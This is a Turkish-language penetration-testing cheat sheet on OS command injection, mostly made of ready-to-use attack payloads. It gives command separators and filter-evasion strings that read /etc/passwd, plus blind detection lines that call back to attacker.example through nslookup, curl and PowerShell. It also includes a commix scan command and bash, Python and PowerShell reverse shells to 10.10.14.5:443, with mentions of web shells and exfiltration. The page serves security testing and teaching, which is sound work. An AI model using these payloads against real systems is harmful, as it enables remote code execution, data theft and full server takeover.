OS Command Injection
OWASP A03 · Injection difficulty: orta impact: yüksek
OS Command Injection, uygulamanın kullanıcı girdisini bir sistem kabuğuna (shell) komut olarak geçirmesiyle oluşur. Başarılı sömürü, sunucuda rastgele komut çalıştırma (RCE) ve çoğunlukla tam sistem ele geçirme demektir.
Nasıl oluşur
Section titled “Nasıl oluşur”// Güvensiz: kullanıcı girdisi doğrudan shell'esystem("ping -c 1 " . $_GET['host']);host=8.8.8.8; id girildiğinde ping ardından id çalışır.
Benzer yüzeyler: exec, passthru, popen, shell_exec (PHP); os.system / subprocess with shell=True (Python); Runtime.exec yanlış kullanımı (Java); child_process.exec (Node).
Komut ayraçları
Section titled “Komut ayraçları”; & && | ||`id` $(id) # komut ikamesi%0a / %0d%0a # newline (bazı bağlamlar)${IFS} # boşluk yerine& && | ||%COMSPEC% /c whoamiTırnak içindeyse önce tırnağı kapat: “; id # veya ’& whoami &.
Tespit
Section titled “Tespit”-
Doğrudan çıktı — ; id / | whoami / & whoami ekleyip yanıtta çıktı ara. Parametre hem GET hem POST/JSON/header’da olabilir.
-
Kör — time-based — çıktı görünmüyorsa gecikme enjekte et:
Terminal window & ping -c 10 127.0.0.1 & # LinuxTerminal window & sleep 10 &Terminal window & timeout /t 10 & # WindowsTerminal window & ping -n 10 127.0.0.1 & -
Kör — OAST — DNS/HTTP geri çağırma ile doğrula:
Terminal window & nslookup $(whoami).attacker.example &Terminal window & curl http://$(whoami).attacker.example/ &Terminal window & powershell -c "iwr http://attacker.example/$env:USERNAME" & -
Çıktıyı dosyaya yaz / web root’a dök — kör ortamda:
Terminal window & id > /var/www/html/out.txt &
Filtre atlatma
Section titled “Filtre atlatma”{cat,/etc/passwd}cat${IFS}/etc/passwdcat$IFS$9/etc/passwdX=$'cat\x20/etc/passwd';$Xc''at /etc/passwdc\at /etc/passwd$(printf 'id')/??n/??t /???/??ss?? # glob (bin/cat /etc/passwd)| id|| id&& id%0aid";id;"'|id|'$(id)`id`Windows vs Linux farkları
Section titled “Windows vs Linux farkları”| Amaç | Linux | Windows |
|---|---|---|
| Kimlik | id / whoami | whoami / whoami /all |
| Gecikme | sleep 5 | timeout /t 5 / ping -n 6 |
| DNS OAST | nslookup x.attacker | nslookup x.attacker |
| Dosya oku | cat /etc/passwd | type C:\Windows\win.ini |
| Shell | bash / sh | cmd / PowerShell |
Komut üreteci
Section titled “Komut üreteci”commix · scan
embedded toolcommix --url=https://hedef/ping?ip=127.0.0.1 -p ip --batchcommix · scan
Section titled “commix · scan”Sömürü — reverse shell
Section titled “Sömürü — reverse shell”Payload üretimi için Reverse Shell Generator:
; bash -i >& /dev/tcp/10.10.14.5/443 0>&1; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'& powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);..."Outbound kısıtlıysa: tersine DNS/HTTP exfil, web shell yazma veya iç ağ pivot komutları tercih edilir.
Argüman enjeksiyonu (shell metachar olmadan)
Section titled “Argüman enjeksiyonu (shell metachar olmadan)”Bazen shell açılmaz ama komut satırı argümanı enjekte edilir:
Bu sınıf, klasik ; testinde negatif kalır; araç bayraklarını ve – ayırıcılarını hedefle.